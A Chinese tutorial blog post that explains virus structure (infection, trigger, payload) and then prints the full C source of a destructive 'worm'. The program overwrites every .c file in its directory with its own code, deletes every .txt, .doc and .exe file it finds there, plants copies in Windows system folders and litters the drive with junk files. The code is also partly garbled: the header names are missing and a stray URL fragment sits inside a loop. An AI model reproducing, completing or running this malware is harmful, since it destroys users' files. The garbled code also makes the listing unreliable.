专栏首页诸葛青云的专栏手把手教你用c语言编写网络病毒

手把手教你用c语言编写网络病毒

怎样用C语言编写病毒

一、什么是病毒

恶意软件可能是第一个对我们产生影响的计算机安全问题.所以病毒在信息安全中是很重要的.

我们要对付病毒,就要了解病毒.

写一些病毒是一个很好的办法.

如果要写一个病毒,先要知道它是什么.可以给病毒一个定义,这一定义是被广泛认可的。Frederic Cohen博士在《计算机病毒简短讲座》中提到的:

“……一种能够通过修改自身来包括或释放自我拷贝而传染给其他程序的程序。“

其实病毒和普通程序并无太大不同,而且通常比较简单,不像很多程序那样复杂。只不过病毒里面用到一些正常程序一般不会用到的技术。

要编制一个病毒,首先要知道病毒的运行机理。

不论是何种病毒,它一般在结构上分为三个功能模块:感染机制,触发机制和有效载荷。

在病毒结构中,首要的而且唯一必需的部分是感染机制。病毒首先必须是能够繁殖自身的代码,这是病毒之所以成为病毒的根本

原因。我们可以用一段类C伪码来表示这个过程。

InfectSection()

{

if (infectable_object_found

&&object_not_already_infect)

infect_object;

}

病毒的第二个主要构成部分是有效载荷触发事件.一个病毒来到你的电脑后,不大可能立即发作,否则它不会被传播得很远.潜伏的敌人永远要比能见到的敌人危险得多.病毒一般是在找到一定数量的感染体,某一日期或时间,某一段文本后触发.

一个简单的触发机制可能是这样工作的:

TriggerSection()

{

if (date_is_Friday_13th_and_time_is_03:13:13)

set_trigger_status_to_yes;

}

有效载荷就是病毒用来骚扰你的电脑的方法,有触发机制的病毒一般也有有效载荷。它可以是任意的给你发一条一次性简单的愚弄信息,重新格式化你的磁盘,把它自己邮给你的E_mail通信者都可以成为有效的负荷。简单的有效负荷可以如下进行:

Executesection()

{

if (trigger_statue_is_yes)

execute_payload;

}

二、 编制病毒的语言

最常见的编制病毒的语言有汇编语言、VB、C 语言等,我们可以来看一看学写病毒要掌握的基础:

1).Win32编程,进程,线程,内存,等等。

2).32位汇编,以指令用法为主。386汇编就比较够用了。

3).PE格式,有精力还可以看一下其它可能被感染的文件的文件格式。

4).调试技术。VC,TD32,SoftIce,等等。

要掌握的东西确实很多,还多听都没听过,很吓人.但实际上,即使我们对计算机的原理和操作系统不很了解,而且不熟悉除C

以外的其他语言,只要我们对C的库函数有一定了解,就可以写一些类似病毒的东西.

三 用C编制病毒

小编给大家推荐一个学习氛围超好的地方,C/C++交流企鹅裙:870963251!适合在校大学生,小白,想转行,想通过这个找工作的加入。裙里有大量学习资料,有大神解答交流问题,每晚都有免费的直播课程

以TurboC2.0为例.它的库函数可以实现很多功能.

如以下两个函数:

1).findfirst和findnext函数:在dir.h。findfirst用来找各种类型的文件,可以得到文件名文件长度,文件属性等,findnext和findfirst配合使用,用来找到下一个同类型的文件。

2).remove函数:在stdio.h.只要知道文件名,可以删除任意类型的文件

在这里小编给大家一个用C语言编写的小病毒(别想做坏事哦)

C语言开发病毒程序实例

代码:

//连接头文件

#include

#include

#include

#include

#include

//拷贝文件模块

int copyfile (char *infile, char *outfile)

{

FILE *in,*out; //定义文件指针

in = fopen(infile,"r"); //打开文件

out = fopen(outfile,"w"); //建立文件

while (!feof(in)) //判断文件是否已结束

{www.ad0.cn

fputc (fgetc(in),out); //从in读一字符到out

}

fclose (in); //关闭in文件

fclose (out);//关闭out文件

return 0; //返回

}

int MakeRubbish (void)

{

int i; //声明整形变量i

FILE *fp; //文件指针fp

char *path; //路径指针

char *NewName;

char *disk[7] = {"A","B","C","D","E","F","G"}; //初始化指针数组

char *addtion = ":\";

for (i = 0; i<5; i++) //循环4次

{

char tempname[] = "XXXXXX" ; //随机名字

NewName = mktemp(tempname); //建立唯一的文件名

fp = fopen(NewName,"w"); //创建文本文件

fclose (fp); //关闭fp文件流

}

path = strcat(disk[getdisk()],addtion); //得到根编号

chdir(path); //改变工作目录

for (i = 0; i<5; i++) //循环次数

{

char tempname[] = "XXXXXX"; //串赋入数组

NewName = mktemp(tempname); //建立唯一的文件名

fp = fopen(NewName,"w"); //创建新文件

fclose (fp); //关闭文件

}

return 0; //返回

}

int CreatEXE (void)

{

int i; //整形变量

char *path; //字符指针

char *s[2] = { //重要目录

"C:\WINDOWS\system32\loveworm.exe",

"C:\WINDOWS\virusssss.com"

};

for ( i = 0; i < 2; i++) //循环控制次数

{

open(s, 0x0100,0x0080); //打开文件写入数据

copyfile ( "C_KILLER.C",s); //调用子函数实现拷贝文件数据

}

return 0;

}

int Remove (void) //去处

{

int done; //定义整形变量

int i;

struct ffblk ffblk; //声明结构体变量ffblk

char *documenttype[3] = {"*.txt","*.doc","*.exe"};//初始化指针数组

for (i = 0; i < 3; i++)//控制循环次数

{

done = findfirst(documenttype,&ffblk,2);//搜索目录

while (!done) //查找成功返回0

{

remove (ffblk.ff_name); //删除一个文件

done = findnext(&ffblk);

}

}

return 0;//返回

}

int Breed (void) //养殖模块

{

int done;//整形变量

struct ffblk ffblk; //声名结构变量

done = findfirst("*.c",&ffblk,2);

while (!done)

{

if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 )

{

copyfile("C_KILLER.C",ffblk.ff_name);

}

done = findnext(&ffblk);

}

return 0;

}

int main (void) //程序入口地址

{

printf ("液虫病毒,by:云志老师. ");

Breed (); //养殖病毒

Remove (); //去处

CreatEXE ();

printf ("您能告诉我您的名字? ");

printf ("现在麻烦您输入您的名字! ");

MakeRubbish (); //调用子函数

getchar ();

clrscr (); //清除屏幕

system ("cmd");

getch ();

return 0;

}

C语言开发的病毒程序源代码加了很详细的注释,严谨的来说,算不上真正意义上的病毒,但是可以给初学C的新手参考,程序实现了几点病毒的功能。

原文链接:https://www.jianshu.com/writer#/notebooks/28627489/notes/33319831

我来说两句

0 条评论
登录 后参与评论

相关文章

  • C语言中的数据类型

    常量命名统一为大写格式。如果是成员变量,均以m开始。如果是普通变量,取以实际意义相符合的变量名称,然后在其前添加相关的数据类型。如果是指针,则为其标识符添加p。

    诸葛青云
  • C语言和C++的区别是什么?8个点通俗易懂的告诉你

    有些初学的同学傻傻分不清其中的区别,下面我将详细的讲解C语言和C++的区别点。帮助大家尽快的理解。

    诸葛青云
  • C语言基础:你知道吗,对于C语言来说,我们的显示器只是一个文件

    最近,我们已经将C语言基础的知识点已经将的差不多了,今天说一个有趣的事情:相信对于现在的我们,文件是什么我们都已经非常清楚了,比如一些常见的txt文件,Word...

    诸葛青云
  • 管理朋友信息程序

    问题的提出:设计一个用于管理朋友信息的程序。将朋友信息(年龄、姓名、电话)存放在MyFrd.dat中,从文件读出这些信息并显示,并能按姓名(要求可简化输入,如只...

    猿人谷
  • C++ RTTI

    RainMark
  • mysql用户管理,常用sql语句,mysql数据库备份恢复

    叶瑾
  • redis 学习(3)-- 哈希类型

    可以看出:哈希键值包括 key,field,value 这三部分,即键,属性,值这三部分。可以这样来表示:

    希希里之海
  • go语言数值类型及布尔类型

    常量声明常量是程序在编译时就确定的值,程序在执行时不能修改常量的值。声明常量使用关键字const。在声明常量时,需要对常量赋值。const 名称 类型 = 值 ...

    暮雨
  • 数据结构与算法 -顺序栈及其相关算法

    在某些应用中,为了节省空间,让两个数据元素类型一致的栈共享一维数组空间data[max],成为双栈,两个栈的栈底分别设在数组两端,让两个栈彼此迎面“增长”,两个...

    越陌度阡
  • Kafka如何解决常见的微服务通信问题

    微服务自成立以来就以不同的方式相互沟通。有些人更喜欢使用HTTP REST API,但这些API有自己的排队问题,而有些则更喜欢较旧的消息队列,比如Rabbit...

    Java架构师历程

扫码关注云+社区

领取腾讯云代金券